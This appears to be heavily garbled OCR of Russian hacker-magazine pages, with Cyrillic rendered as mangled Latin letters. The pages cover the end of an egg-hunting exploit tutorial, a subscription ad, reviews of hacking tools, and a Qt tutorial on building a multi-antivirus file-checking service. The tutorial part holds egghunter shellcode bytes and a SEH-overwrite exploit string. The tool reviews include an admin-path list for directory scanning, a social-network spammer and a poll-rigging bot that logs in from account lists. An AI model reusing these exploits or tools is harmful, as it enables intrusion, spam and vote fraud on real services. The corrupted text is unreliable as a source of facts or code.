B nore yka3biBaeTcs, 4TO MMEHHO U3MEHWU0Ch. 3T0 bbiBaeT NonesHo
L)1 BblUMceHns baxHbix cMBosioB. B HalweM cnnoiiTe nonyyaeTcs
Tp¥ BapuaHTa, obpe3aHHbix ¢ 73 cMMBONa, U OAMH HOPManbHbIN. Ho
MECTO ero MeHseTcs Npy nepesanycke Nporu, 1 perncTpsl Ha Hero He
CCbINatoTCs, TO eCThb MO-MPOCTOMY Ha HEro He nepeiTu. MoTomy nc-

Nofb3yeM UrrxaHT-Wennkon B 3Tux 72 baiTax, KOTOPbIA U OCHOBHOM

KoL HalpeT, n ynpasnenune emy nepepact. Jobasnaem:
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| popxx
1] .| popxx
' ret

[enctBue cnnontos, nepesanucoiBaowmnx SEH-3anucu

# S0 mepen OCHOBHBIM MEJIIIKOLNOM
Stag="\x77\x30\x30\x74";

# NtAccessCheck xaHTep C AMIIOM B Tele
Segghunter = "\x66\x81\XCA\XFF\x0F\x42\x52\x6A\x02\
x58\xCD\x2E\x3C\x05\x5A\x74\XEF\xB8" . Stag . "\x8B\

XFA\XAF\X75\XEA\XAF\x75\XE7\XFF\XE7 " ;
# ConBUTaeM OCHOBHOM NEJUIKOIN M3 CTeKa
$junk2="\x90"x50;

# KydkyeM uTor

Ssploit = $junk.S$jumpNextSEH.SSEH.Segghunter.$junk2.
Stag.S$tag.S$shell;

$junk?2 TpebyeTcs, Tak Kak UrTxaHTep MeHblUe focTynHoro bydepa B 73
BalTa, NOTOMY Mbl AOXKHbI CABUHYTH OCHOBHOM LLENNKOS, 4ToDbl ero
HavasbHble Kycku (Taru) He Bbinn packyaaHsl Mo NamMaTh, U He NpoM30-
L0 JIOXHOE HaxoxaeHue. B obulemM-To, Bce. YnpasneHue nepeaaetcs
yepe3 SEH, nrrxaHTep viLeT 0CHOBHOI Kof, 1 NepeAaeT eMy KOHTPOSIb.
H03as faHHbIN NpUMep, MOXHO XOPOLIEHbKO NPOCNeAnTb 3a NoBeAeHEeM
XaHTepa v YBWUAETb TO, YTO BbIN0 0NMCaHO B TEOPETUYECKON YacTW AaHHOTO
anoca. Hanpumep, 06Hynnts EDX(\x33\xD2) B Hauane u nocMotpeTs Ha
CKOPOCTb HAaXOX/AEHNs 0CHOBHOrO LWennkoga. Kctatn, paboty urrxaHTta
MOXHO YBUIETb N0 BO3pACTaHMIo KosmMyecTsa «owmnbok cTpaHumu» B [luc-
neTyepe 3afauv.

Ho ocTaBnio 370 Ha SIMYHYIO UHKLMATKBY. XOTS BOT Napa CCbIIOK:

Mpumep ot corelanc0d3r'a: corelan.be:8800/index.php/2010/01/09/exploit-
writing-tutorial-part-8-win32-egg-hunting/.

Mpumep urrxanTepa 8 MSF: offensive-security.com/metasploit-

unleashed/ u nrrxaHTep-LWeNnKoL ¢ NOMCKOM Tosbko no kyde: r00tin.
blogspot.com/2009/03/heap-only-egg-hunter.html

TUNA, 3AKIOYEHKUE

MrrxaHTuHr — kpyToit MeTof. 370 TouHo. W npocToit, 1 pabounid.

[prBenEeHHbIN NPUMep, KOHEYHO, HEe XXM3HEHHbIX, MO3TOMY X0Uy NPUBECTH
napy uHblx npuMepoB. OHK, K COXANEHWIO, 18 U3bICKAHWIA HEZO0CTYMHbI,
TaK KaK BASOTCSA MAaTHbIMW NPOAYKTaMK, 3aT0 3TO NpMbaBiseT KpyTocTy
meTogy. K npumepy, «Mercur Messaging 2005» IMAP-cepsep.

NMeeT nepenonHeHune bydepa B obpaboTke KoMaHgbl
SUBSCRIBE(CVE-ID: 2007-1579). B cTaHAapTHOM 3KCM0/Te AOCTYM-
Ho 224 6alTa gnga payload’a. C ncnonb3oBaHWeM TeXHUKW UITXaH-
TUHra, Mbl MOXeM NpeaBapuUTeNbHO nocnate bonee BMeCTUTENbHYIO
koMaHpgy LIST ¢ ocHoBHbIM WennkofoM, a 37o yxe 2 Kb. inn McAfee
ePolicy Orchestrator 3.5.0. MepenonneHune gaet 140 6aiT, a c ur-
rXaHTepOM — HeorpaHuyeHo.

B 0bu,eM-To ACHO, YTO MHOTVE 3KCMNONTHI MOXKHO YAYYLWWTb, eCAN NprUMe-
HUTb K HAM [LaHHbIi MeTog,. Tak YTo pafyeMcsi HOBbIM 3HAHWAM 1 CMeLLnM
NPOBEPUTL MX Ha NpakTuKe ). 30
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. BbIFOlAe TAPAHTUfA« CEPBUC 310 JETKO!
I ! F . PazbopyvBo 3anonHM NoANUCHOM KYNOH W
th E 8 5 rﬁ KCepokonuio AW pacneyaTas C caiTa
shop.glc.ru.
2. Onnatv nognucky vyepes noboi bakk.
XBATHT [IEPENJIAYUBATH B KMOCKAX! L 1o ool o sty
MOKYMAW XYPHAJ B 3 PA3A AELIEBJIE! o voatpey 119021 Mookss,

KBWTaHUMIO, BbIPE3aB WX U3 XypHana, clienas
3. Bolwnuv B peaakimio Konuo noAnnucHbIX aoky-
MEHTOB — KYMOHa ¥ KBUTaHUMM — MoDbiM 13 =
| HUXenepeyncaeHHbIx cnocobos:
000 «leiim Jlaug», otaen NoANUCKM.

JaMyuunca MCKaTb XypHan B Nanatkax U Mara-
3uHax? He xovews TpaTuTh Ha 3to BpeMa? He

NOAMUCKA

BHUMAHUE!
Hao. Mbl caMu noTpaTUM Bpems HA 6 MECAIER Moanvcka obopmasieTcs
U NPHBE3EM Tﬁe HOBbIl BbINyCK X. MKA no LUEHE B leHb 06paboTku KynoHa v KBUTaHLMK
ﬂgt’:IT;KBMKT:J:aeoM)Ke:?((:BH éngﬂ::Tl:g:x f) 54 0 p 6. C HOMEDa, BEIXOALLETO YEPE3 OfVH
4 ym y KaﬂeHﬂ‘aprIVI Mecdl, nocsie onaaThbl.

GecnnaTho ¢ KypbepoM U3 pyK B PyKM
B TEYEHUe TpeX pabouux AHeH ¢ MOMeHTa
BbIX0a HOMEpa Ha aapec oduca WK

Ha AOMallHHH aApec. CTOMMOCTb 3AKA3A C JOCTABKOI:

2200 PYb. 3A 12 MECAILIEB, 1260 PYb. 3A 6 MECALEB

Ennnasa ueHa no Bcel Poccun. [locTaBka 3a cyeT usgatens, B TOM
yncne kypbepom no Mockse B npegenax MKAL

Hanpumep, ecnu npov3secTn onnaty B uione,
TO MOAMMCKY MOXHO 0GOPMUTL C CEHTABPS

Ewe oavH ynobHbI cnocob onnatbl
Q NMOAMNUCKK Ha TBOE tobrMoe n3gaHne — B ntobom
QlWI 13 72 000 nnatexHsix TepmuHanax QIWI (KUBU)
no Bcel Poccun.

CTOMMOCTb 3AKA3A BE3 IOCTABKM, ¢ nonyuerunem xypHana camo-

cToaTenbHo B MockBe B Touke npofax R-kiosk pagom ¢ meTpo

ECTb BOMPOCbI? 3BoHM no becnnaTtHbiM TenepoHam Benopycckas, yn.[py3nHckuii Ban, 4.27-31:
8(495)780-88-29 (nna mockeuyeit) 1 8(800)200- 540.00 PYG. 3A 6 MECALEB! et
3-999 (ana xutenein apyrnx pernoHos Poccun, '
aborHenToB ceteit MTC, buJlaiin n Meraq:OH]. [Mony4mnTb XXypHan MoxHo byneT y npogasla ¢ NpeabsBieHneM nac-
nopTa Ha 1UMs 0GOPMUBLIETO MOANNUCKY, B TEUEHME HEAENN, HauN-
BOMPOCHI, SAMEYAHWA U NPEAJIOEHUA MO NOANUCKE HA Hasi CO CAeyIoLLEro AHS, MOCAE BbIXOAA XypHana.
HYPHAJ1 NPOCAM NMPUCBINIATb HA AZIPEC info@gle.ru \
—————————————————— - - - - - - - T T T T T T T T T T T s s s =T
noarnmMcHOWM KYNnoH | |
NPOLLY O®OPMUTb MOAMUCKY |
HA XKYPHAT « »
[ Ha 6 mecsiues I I
[ Ha 12 mecaues | MsBemenme NHH 7729410015 00O «Ienm J1aHg» |
HaumHas ¢ 20 | OAO «Hoppgea BaHk», . MockBa |
| p/c Ne 40702810509000132297 I
locTal a. O no4Te
o omaumi anpec T [ k/c Ne 30101810900000000990 I
[ocTaensaTs xypHarn Kypbepom - | BUK 044583990 KM 770401001 I
[ wa anpec oduca™ | MnarenbLmk I
[0 wHa pomawnwnit agpec** | Anpec (¢ uHaeKcoM) |
[J CamocrtoatensHoe nonyyeHune | |
| HasHaueHue nnartexa Cymma |
(oTMeTb KBafpar BbIGPAaHHOTO BapuaHTa Noanuckun)

DUO. | Onnata xypHana « » |
| c 20 |
| d.N.0. |

Kaccup
| Moanvck nnarenbLmKa |
AQOPEC OOCTABKM: | |
EKC

HHaeK | WHH 7729410015 000 «[eitm Mara> |

obractb/kpa | KBuranumms

roport OAO «Hopgaea BaHk», r. MockBa I
I p/c Ne 40702810509000132297 |

nvua

I k/c Ne 30101810900000000990 I

aom Kopnyc |
B/K 044583990 KIr 770401001 I

KkBapTupa/odpuc |
MnatenbLuymk |

TenedoH ( ) |
} on Anpec (c uHaekcom) I
e-mail | |

CYMM3 ONTaTH! ! HasnadeHune nnatexa Cymma |

*B cBOGOHOM MOME YKaXku HasBaHue pupMbl |
W ApYTYto HEOBXOANMYIO MHEOPMALIIO Onnarta xypHana « » |
**B cBOBOAHOM rione ykaxu Apyryio Heobxoanmyio nHopmaumio I
11 AnbTEpHATUBHbIA BAPUAHT JOCTABKM B ClyJae OTCYTCTBUS AOMA c 20 T |
' ®.1.0. |
I Kaccup Moanuck nnarenbLymka |
|
|
|



B Maricq 884888

NMPOrPAMMBI 1J151 XAKEPOB

[porpamma: ATC File Wiper
OC:Windows 2000/XP/2003 Server/
Vista/2008 Server/7

AsTop: AlexTheCO0d3r

Chose lolder path

ise L
O o
A

Ell vl

L
Actions

) Delate ol s

) Delsls et with 1 cycle of revwriling
() Dietete Ml with custom count of cycles

Count: 3

7] Dieta fekdes

Shabus:

Done

Cuurrerd [e:

Korsia Motal Kombat 4 [o1]b2)nes

[ 100 |

ATC Fie wiper [v1.0] by AlecT heC0d3

WHTepdpeiic Balinepa

[pencTaBb, 4To Tebe HyXKHO MONHOCTBIO yAaNUTbL
Kakyto-nnbo nupopmaLmio ¢ komnbtoTepa. Mpryem
YOANUTb Tak, YToObl HYKaKUMM TEXHUYECKMMU
CpefCcTBaMy ee ye Heslb3sl Obls0 BOCCTaHOBUT.
Takol Tpiok MOXHO NpofesaTh C MOMOLLIbIO MHO-
rokpaTHol nepesanucu GannoB ciayvaiHbIMm
3HaYeHVAMU, 415 Yero 1 BNy npuayMaHsl cneumy-
anbHble NporpamMMel — Balnepsl. OfuH 13 caMmbix
bYHKUMOHaNbHbIX BalinepoB cerogHs npeacTaBieH
Ha cTpaHMLax Halle pybpuKn.

Wrak, ATC File Wiper ot Mmembepa AHTr4aTa
AlexTheC0d3r'a npegnaraet tebe aBa pexwvma
pabotbi: GUl v koHconb.

DyHKLMOHAN NPOrpaMMbl ClefyIoLLWA:

© BO3MOXHOCTb COXPaHMTL CMCOK Nanok 8 daiin (B
nanky ¢ nporpamMmon);

* Bo3moxxHoCTb obaBaeHnsa nanku, ykazaHHow B
CMUCKe Narnok, KHOMKOW «<»;

e [opaepskka pycckoro s3bika (cMeHa s3b1KoB
NPaBbIM KIMKOM MbILLKO B popme);

o OyHkums unctku noros Windows;

® 3anyck GUI n3 koHconu ¢ napameTpamu nyT1 4o
daiina n Konn4ecTBOM LMKII0B Nepe3anuncu:

e:\Program Files\ATC\wipergui.exe

"D:\papka_dlya_ydaleniya" 15) ;

e 3al'l\/CK nporpaMmbl C NapaMeTpoM Ha4dasibHOro
nyTn 40 Nanku:

» 072

X-TOOLS

f—\\—

X-TOOLS

LS

E:\ATCfilewiper.exe "e:\downloads\
papka_dlya_ydaleniya"

* YnaneHnwe Bcex Gpaiinos 13 nanku (naoc pyHkuma
yAaneHvs camux nanokJ;

o [lepe3anuch Bcex daitnos B nanke cyyaiiHbiMu
3HaYEHUSIMU 1 NOCNefyioLLEee UX YAANEHNE;

¢ [lepesanuce Bcex Gaiinos B nanke ciayvaiiHbiMm
3HaYeHVIMUN B HECKOJIbKO LIKII0B M Moc/edytoLiee
nxypaneHve.

[pvmep cocTaBneHus cnncka Gpanos Ha yaane-
Hue B pexxume «extraClean»:

D:\vasya\*.exe

C:\documents and settings\Admin\My
Documents\*. *

C:\MyProgs\*.pas

C:\nokia\jimm. *

30ech Tbl yKasbiBaeLllb MOsHbIE MyTY 40 Nanok
Macku alifos, KOTOPbIe HAZ0 yYAaNNTL C Nepesa-
NKCbIO VX 3HAYEHWIA.

EcnunTebe HyxXHO yaanuTs narnky, 8 KOTOPOii eCTb
Apyrvie nanku, To cHavasa ykasblsal nyTb 40 BIO-
KEHHbIX Nanok B uepapxndeckom nopsake (4robe
BNIOXEHHbIE Nanky Obim Bbitue).

Tak kak Balinep NocTosiHHO 0bHOBNSIETCS, MC-
npasnsioTcs 6aryi U NosBASIOTCS HOBbIE GYHKLWN,
COBETYI0 BHMMATESNbHO CEAUTb 38 0GHOBAEHUAMN
nporpaMMbl 8 Tonuke https://forum.antichat.ru/
showpost.php?p=1898379.

[porpamma: WebDirScanner

OC: Windows 2000/XP/2003 Server/
Vista/2008 Server/7

AsTop: 0x00

Pa6oTa ckaHepa

Ha ouepeay ouepepHas nporpaMma ans ckaHm-
poBaHuWs Beb-AMpeKTopuii No cnucky U3 paiina.
Ha 3ToT pa3z — WebDirScanner ot MeMbepa yxe
3Hakomoro Tebe noptana webxakep.net, 0x00.
Kak Tbl y>xe noHsn, npora npefcrasnset coboi
ckaHep $aiifoB 1 AVPeKTOpUit Ha yaaneHHOM
cepBepe.

OcobeHHocTn:

e CkaHUT BCe yKka3aHHble Toboit MMeHa 13 paiina
dir.txt;

N—————

X-TOOLS

e /lcnonb3yeT npokcu;

* PaboTtaeT Ha 0OCHOBE MeToAa 10BN OWNbOoK
Beb-cepBepa;

e [o oKOHYaHMM paboTkl 3aM1CLIBAET PE3YLTAT B
daiin oks.txt v nor 8 dpaiin log.txt (bopmat “cTpo-
ka:oTeeT cepsepa’l;

e [loka3biBaeT KOIMYECTBO MPOCKAHNPOBAHHbBIX
LMPEKTOPUIA M NPOLLEHT y>Ke NPOMAEHHOI0 CKaHW-
poBaHus;

e Pabotaet Ha .Net Framework 2.0 n Bbiwe.

B npunaraembiii K nporpaMMe CnmMcok ais ckaHa
y>Ke BKJIK0OUYEHbI HEKOTOPbIE CaMble pacrpo-
CTPaHeHHble 10KaLWKN «MHTEPECHbIX haltoB»,
Hanpumep:

dminl.php
adminl.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html

adm/

admin/
admin/account .php
admin/account .html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel . php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php

JTtobble 0T3bIBbI 1 NOXeNaHus ABTOp NpoCUT

HanpasNATb NPAMUKOM B TonuK webxakep.net/ —
forum/showthread.php?t=5201. _\_\
[\ ———

MNporpamma: ArxGrabberSite

OC: Windows 2000/XP/2003 Server/
Vista/2008 Server/7

AsTop: ArxWolf

He Mory yaepxaTbces, 4Tobbl He NpeacTaBuThb
Tebe o4epeHyt0 MHTEpECHENLYI0 NporpaMmy
oT KOMaH[bl Bebxakepa — rpabbep caitos
ArxGrabberSite.

3Ta npora nomoxeT Tebe pazobpats Niobyto Beb-
CTPaHMLYy Ha 4acTu, TO eCTb U3BJI€Yb HYXHbIe
Tebe gaHHble.

[na napcuHra cTpaHuL, B nporpaMme Mcnosb-

% H‘ o



pa66ep caitoB

3yl0TCA perynsipHble BblpaxeHUs, aHanornyHble
TeM, KoTopble npuMeHstoTca B PHP:
Email: [_a-zA-Z\d\-\.]+@[_a-zA-

Z\A\-1+(\.[_a-zA-Z\d\-]1+)+

URL: (?i)href=("[#391]) (http://|h
ttps://|ftp://Iwww. |[UPD://) ([_a-
z\d\-1+(\. [_a-z\d\-1+)+) ((/[ _a-
Z\A\-\\\ . 2=&%://]+) +) *

JS: <script ([*>]1*?)>(.*?)</script>

OcHoBHO dyHKLMOHAN NPOrpaMMbl:

e 13Bneyerne email-agpecos;

o /I3B1eYeH e CChINOK;

¢ 13Bneyerne JavaScript;

® /13BneYeHe onncaHnsa CTpaHuLbl;

¢ 13BneYeHe KEMBOPAOB CTPAHMLibI;

® B03MOXHOCTb C03[aTb CBOE NMPaBUAO perynsp-
HOrO BbIpaXxeHus;

® BbiBOA MCXOAHMKA CTPAHULbI.

JTiobble NnpeasioxkeHns 1 nNoxenaHvsa Hanpasnai
npsmmkom ArxWolf'y B webxakep.net/forum/
showthread.php?t=4850.

Nporpamma: SGalaxyv0.7
0C:Windows 2000/XP/2003 Server/
Vista/2008 Server/7

AsTop: RINGER

[lanee xouy no3HakoMuTb TebS ¢ HeCKONb-
KO cneunanu3vpoBaHHON NporpaMmoit

— cnamepoM nonynsapHenwen MobrunbHoM
counanbHoit ceTn «fanakTrka 3HaKOMCTB»
(javagala.ru.

Cnamep ymeeT cnamuTs 1 GayanTb Cleayiowmnm
obpa3som:

® BMpyuBaT;

® KOMMeHTapusmu B bsor;

® KOMMeHTapusamMu B GoToanbboMebl;

® BKypHan knaHa;

® BrpuUrnalieHns knaHa;

® B QyHKLWW fobaBneHns apyra;

® B 06bABNEHNAX O 3HAKOMCTBA;

e noemail.

Takxe MMeloTCH BO3MOXHOCTI COBEpLLIATb BECh
cnam 1 Gy 0OAHOBPEMEHHO, OTK/0YaTb 1
BK/t0YaTh 1106ble N0Ib30BaTENIbCKUE ONLMN 1
BbICTaB/IATh 33JePXKy Ha NocblnaeMble coob-
weHns.

C nporpamMMoit MoxHO paboTaTb ¢ MOMOLLbI0
CNedyloLLVX KOMaH:

0 — oTmpaBKa CoobmeHmit O nOOaBIEeHUNM B

OPY3bsi C OOHOT'O MPOYUIIS ;

1-5 — mpocTas OTIpaBKa COObmMEeHU C

1-5 mpodwnneir;
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npHBeT

je-mall

[Subject

9000000 %
S0 BonbnTh CanarTHRY
54090340

3622673 1000 STOP

CnaMep MO6MNbHOW COLMANKKU

911 — nocTy4YaThCsI MOOepaTopy B aHKe-
TY;

922 — IPUTIacCUTE B KJIAH;

999 — dnynm B XKypHal KJaHa;

933 — ocTaBUTHL KOMMEHTAPU B Ojore;
111 — 3amoCcTUTE OOBABIIEHNSE O 3HAKOMC—
TBEe;

1000 — oTIpaBUTHL KOMMEHTapUU K GOoTO—
Tpadmm;

222 — cnam Ha email;

40 — craM B IPMBAT C OOHOTO IIPOOMIIS
6e3 OONOJTHNUTENBHEX IeNCTBUM ;

50 — crtaMm u Iy D BO BCEX OEVCTBUSX .

Hagetoch, Tbl He CAMLLKOM CUIBHO Haf0€lL b afmMyi-
Ham lanakTukm ;)

lNporpamma: VKVoTeR

OC: Windows 2000/XP/2003 Server/
Vista/2008 Server/7

AsTop: mailbrush

ABOT 1 elLle 0fjHa KpaliHe nofiesHas yTvauTa Ans
TBOEW NtobuMoi coumanbHoit cetn — VK VoTeR —
HakpyTurk onpocos BKoHTakTe oT aHT14aToBLUa
mailbrush.

Ecnn Tbl npuHMMaellb y4acTre B onpoce norny-
JISPHON FPYMMbl, HO HUKAK He MoXellb HabpaTb
HeobXxoAVMOoe KONMYeCTBO ro10CoB, TO JlaHHas
nporpamMMa noMoxet Tebe B 93TOM Henerkom
nene. C NoMOLLbIO Hee Tbl CMOXelLb B HECKOTb-
KO KJIMKOB HAKPYTUTb rofloca B yka3aHHOM
3anpoce.

MpuHumMn paboTbl nporu npocT:

1.YkasbiBali cCbiIKy Ha 0MpoC;

2. Bbibupaii BapraHT 0TBETS;

3. Bcrasnait nnun sarpyxait akkayHTsl BKoHTakTe
(cBOM, KOHEuHO xe ;)

[anee kaxnplil NOTOK NPOrpaMMbl Mo o4epen
ByneT bpaTb o ofiHOM Nape “noruH:napons” 13
cocTaBfieHHOro Toboil cnucka v aBTopU30BaThCs
nofa Hew.

3aTeM Nof TeKyLLMM akKKayHTOM HaKpyTUMK
BCTynaeT B rpynny, B KOTOPOI HaXOANTCS OMpOC, U
roflocyeT no ykazaHHoMy Toboli BapuaHTy.

Takoke 0NUMOHaNbHO NPoOrpaMmMa MoXeT OTIncaTb-
csiBTeMe.

OcHoBHble UM NporpamMmsi:

® Pabota c npokcamu;

* Bo3aMoxHOCTb Ucronb3osaTh Makpoc [OPTION]
[J151 yKa3aHVs 3Ha4YeHVsi BapviaHTa 0TBeTa;

e PangomMu3aums coobLieHnit, KoTopble pas-
fensatoTcs ykasaHHbIM Toboll cenapatopom. K
npUMepy, Tbl FoN0Cyellb 3a 3HaveHve #8 B Teme,
aTeKCT 3HaYyeHua — «bopuc Mouncees», 3HaunT
B nosie «CoobLieHNA» Thl AONIXEH yKa3aTb
cnepyloulee:

i
=
P
Pt .
i 6
=]
= 1
e ety o v, e [APTION]
[ s 1 [ [T |
sttt 20

HakpyTumk onpocoB BKoHTakTe

[OPTION] the best! |S romocyno 3a
[OPTION] | [OPTION] M TONIBKO OH!

B xopne pabotbl nporpamma byneT paHL0MHO Bbl-
BupaTb Meccary 13 cnvicka coobLeHui, KoTopble
pasneneHsl 3HakoM “|", a B Temy BygeT oTnpaeneHo
0[HO U3 TaKhX COODLLEHUI:

Bopuc Moucees the best!
5 ronocywo 3a Bopuc Mouceesn

Bopuc Moncees 1 TOJIBKO OH!

Kak Buauiwe, Bce fo besobpasws npocto. Kak Bcer-
1, N10bble 0T3bIBbI 1 NPEANOXEHUS HAaNpPaBAi
npsaMuKoM aeTopy B Tonuk https://forum.antichat.
ru/thread194387.html.

[Nporpamma: slil.ruFile Uploader
OC:Windows 2000/XP/2003 Server/
Vista/2008 Server/7

AgTop: slesh

o

Ak this photo we see the girl

PSPTHGIMoN AoKY

and
in ideal dress for a chub.doc
IREREEEEER

Boocoa | Kmnrbnwm[

BbicTpas 3akauka aiinoB B 06MeHHUK

3aBepLuaeT Hall cerofHsiLLHMI 0630p yaobHenwas
YTUIUTKA, KOTOpasi o3BOJINT Tebe o4eHb DbICTpO 1
ynobHo 3anuTb daitn Ha obMeHHumK slil.ru.
[Tonb3oBaTbCs MPOrpaMMoii MOXHO ABYMS Pa3Hbl-
MU crnocobamu:

1.TpocTo 3anyckali 1 Bbibupal dain ans 3akauku;
2. Knpaii ee B 0iHY U3 ANPEKTOPUIA:

2000, XP, 2003 — C:\Documents and
Settings\<lma Mons3o0BaTens>\SendTo\
Vista, 7 — C:\Users\<lms Ilonb30Ba—
Tensi>\AppData\Roaming\Microsoft\
Windows\SendTo\

1 BblbKpaii Noboii daiin, KVMKHYB No HeMy NpaBoi
kHonkoi Mbiww. [lanee B nyHkTe «OTNpaBuTh»
BbIbupait «slil.ru».

XapaKTepucTUKmM nporu:

* 3akayka ofHoro itoboro daiina 3a 0auH pas;

¢ OTobpakeHune nporpeccbapa;

o KoMNaKTHbIN AV3aliH 1 BO3MOXHOCTb CKOMUPO-
BaTb 3arpy>XeHHbI Gaiin cpasy B bydep obmeHa;
e HanucaH Ha Cut (WinAPI + WinSock):

® YycTbii pasmep —7680 bair.

CaM aBTop coBeTyeT t03aTb BTOPOI cnocob ans
3aKkaykv Gaiinos B 0OMeHHUK. 3=

» 073



«RankoR» CMnpHos ax-soft.ru

CBOMMM pyKaMH

Co3naem ny6nnyHbIK CepBUC ANS NPOBEPKH thanna

HECKOJIbKUMHU aHTUBUPYCaMU

HenasHo a npountan ctateto Kpmnca Kacnepcku, nocsauieHHyto VirusTotal'y,
Y BCEPbE3 3aropesicsa naeen cosfaHmem Takoro cepeumca. [loyemy bbl u
HeT? [pobnema ManBapu cenyac CToMT AOBOJIbHO OCTPO, @ HE0BXOAMMOCTh

MPOBEPKM OHOI0, HO BECbMA MOA03PUTENBHOIO Gaina NoABAAEeTCS Yy

nonb30oBaTeneu c 3aBUOHBIM [MTOCTOAHCTBOM.

MATEPUAJIbI U METOﬂbl ¢ OnbIT paboTsl ¢ Linux — B kayecTBe nnathpopmbl
MTak, 4to ke HaMm HyxHo? PaccMoTpvM no nyHKTaMm. 51 Bbibpan umerHo aTy OC, NocKosbKy BUHAOBbI
® BuigeneHHbii cepsep. He VDS, a MeHHO (ocobeHHO — BbICOKOHATpyXeHHbIN) cepeep
Dedicated. Aycnen otxBaTtnTb cebe cepBak c Core  kaxeTcs MHe He 04eHb XxopoLllen ngeei. Jinyxo s
Duo, 2 6 RAM 11 6eanumMnTHbIM Tpadukom (10 BbIbpan Ubuntu Server 10.04.

M6/c)3a $100 8 Mecau. CpesiHue e pacueHKu  3HaHue C++/Qt. MucaTb Mbl ByeM MMEHHO Ha
ceiyac 3aMeTHo BbilE 3. HEM, MOCKOJIbKY IS JIMHYKCA MPUMICHYTHIN Cu

» 074

BrnosHe nornyen, a Qt 5 8bibpan, noTomy 4To B HEM
€CTb 04€eHb yA0bHbIe KNacchl 415 B3anMoLencT-
BUsI C MpoLeccamu.

® 3HaHune PHP + AJAX. Hy a kak nHaue?

* YMeHue BepcTaTs/prcoBath, 1bo Yenosex,
KoTOpbIi 3T caenaeT. bes xopollero ansaiiHa
CepBUC A0NT0 He NMPOXKUBET.
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(= pled phy — Kanguarse
Goin [pasws Ewa Megeson Jewnspen  Jsanagen  Ceosws Hecrpséne  Qums  Cnpsses

Sy o aHME
:m{qﬂhm«.m

antent-Type- con
antivirus
alink hrefastyle.css® rel="stylesheet
</heads

<eCript types"test/avEscript® sroetjouery.]stse/scripts

<scripts

«t

= homeffilesmorkisrcingn-sviwmwiupload she
= merver = uploadphe 3

wl: charsetsuti-8- />

text/css /o

sujan_shav_javascrist!)
>

function shew_seldate serverl {

dacunent . getETenentBy1d| “result™) . innerMTHL = date_server:
}
function get_datel}

1

var & = gl
TN R

r
x_thew_niow show_sel :

sFtTindout(“get_dutel )", (]

Pa3bop BbiBOAA aHTMBUPYCA

® YCTaHOBOUHbIE NAKeThI AHTVMBUPYCOB 1 AnnaoMatTnyeckmne
HaBbIKW 014 O6I_Ll,eHM9-| CaHTUBWNPYCHbIMU KOMNaHNAMN.

NEPEAQEM K NPAKTUKE

HabpocaeM HebonbLwoit nnaH. YTo fonkHa genatb Halwa
codTrHa? OHa 3anyckaeT KOHCOJbHbIN CKaHep aHTUBUpYyCa,
yuTaeT v napcut ero stdout. YTobbl NOHATH CTUAL NOBeAEHUS
aHTMBMpYyCa, 3anyCcTUM ero c napamMeTpoM --help, BHMMa-

| TeNbHO BKYPWM B pe3y/bTaT, a 3aTeM CKOPMUM eMy 30pOo-
Bblil 1 3apaxeHHblii (TooYepeHo, ecTeCTBeHHO) daitbl 1
cpaBHWM BbIBOA aHTUBMpYyca. Kak aTo bynet peannsosaHo B
codre?

Kak Tebe yxe n3BecTHO [ecnu Tbi YATan MOIO CTaTbIO B MaCKOM
1[), 8 Qt ecTb 04eHb MONE3HBIN KNAacCc QProcess, KOTOPbIN
CNYXWT N9 3anycka BHeWwHUx nporpaMm. OH ymMeeT 3anyckaTb
nporpaMmy, nosly4aThb ee BbIBOZ, 1 CO0bLLIaTh HaM 0 3aBepLue-
HMW NporpamMMel. Ho HaM 3TOro HeLOCTaTOYHO, MOITOMY Mbl He-
MHOTo flonuwem knacc. Yo byaeT B HoBoM knacce? OH fonkeH
cobupaTh BbIBEAEHHbIN B KOHCOMb TEKCT MO MEPE ero NocTyne-
HWS M FeHepUPOBaTb CUTHAJ C 3TVM CaMblM BbIBOAOM W IMEHEM
npouecca npu ero 3aBeplueHni. CkazaHo — cenaHo:

QAvProcess : public QProcess {
id inline startProcess (

st QString &name,

st QStringList &params) ;

gnals:

void onAvFinished (QAvProcess *sender,

HawicepBucBpaboTe

AntiVirus

AHTHBHMPYC EPE’!W’IBT&T
Zoner AV |[ERROR

a variant of Win32/PSW.LdPinch
‘sn NOD32 rojan
BitDefender |Generic.piater.7c524691
Isophos Troj/LdPnch-Gen
AVG [Trojan horse PSW.Ldpinch.OBP
[Clamav Trojan.LdPinch-133
Kaspersky [Trojan-PSW.Win32.LdPinch.amb

Done! 6/7 found (85%)
Ahtung! It's a virus, | garantee this!

Check one more!
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@alin  Npanka Bup  Mypwan  3axsspen  Hactpshea  Crpasks

Pa3paboTtka PHP-yacTtu

st QString &av,
QString &output,
3 t int exitCode) ;
private slots:
void onFinished (int exitCode,
QProcess: :ExitStatus exitStatus) ;
void onReadyRead () ;

¥

Kak Bnanws, knacc Hacnegyetcs ot QProcess. PaccMoTpum
MEeTOAbl M CIOThI 3TOr0 KNacca:

1 QAvProcess: :startProcess (

QString &name,

QStringList &params)

QFileInfo info (name) ;
avName = info.fileName () ;

start (name, params) ;

Kak HeTpyaHO forafatbCs, 3TOT METOS, CIYXKUT ANS 3anycKa npo-
rpamMMbl U COXpaHeHUs UMeHW npoliecca nepef 3anyckom. Kog,
3aKJII0YEHHbIN B CNOT onReadyRead, NPOCTO anneHAnT Npo-
YWTaHHbIM BbIBOZ K y>Ke MMeloLLLeMycs, a cnoTonFinished ()
reHepupyetcurHan emit onAvFinished(this, avName,
avBuffer, exitCode).BceTprBransHo, noaToMy 4 npeana-
rato ABuraTbCa fanblle, K riaBHoOMYy Knaccy:

s QAv : public QObject{
void startCheck (const QString &fName) ;

QMap<QString, QString > avs;
QList<QResultPair > results;
QString fileName;
inline QAvProcess* createProcess () ;
QVirInfo inline parseOutput (
const QString &avName,
const QString &output) ;

ignals:

void onAVDone (c st QString avName,
onst QString avResult) ;
private slots:

void onAvFinished (QAvProcess *sender,
QString &av,

t QString &output,
int exitCode) ;

}i

Pasbepem kog no nopsiziky. 3a 3anyck aHTUBKPYCOB Y HAC OTBe-

L WARNING |

> warning

He ncnonbayi
HENNLEH3NOHHbIE
BEPCKM aHTUBUPYCOB
B CBOEM CEpBUCE U He
xocTuch B Poccum.

[INFO

> info

RESPECT

lpynne N-3-1
(MpuknagHas
Matematuka) MITY
«CTaHKMH».

DieHard, YaesU, metal
Asechka.Ru com-
munity

» 075



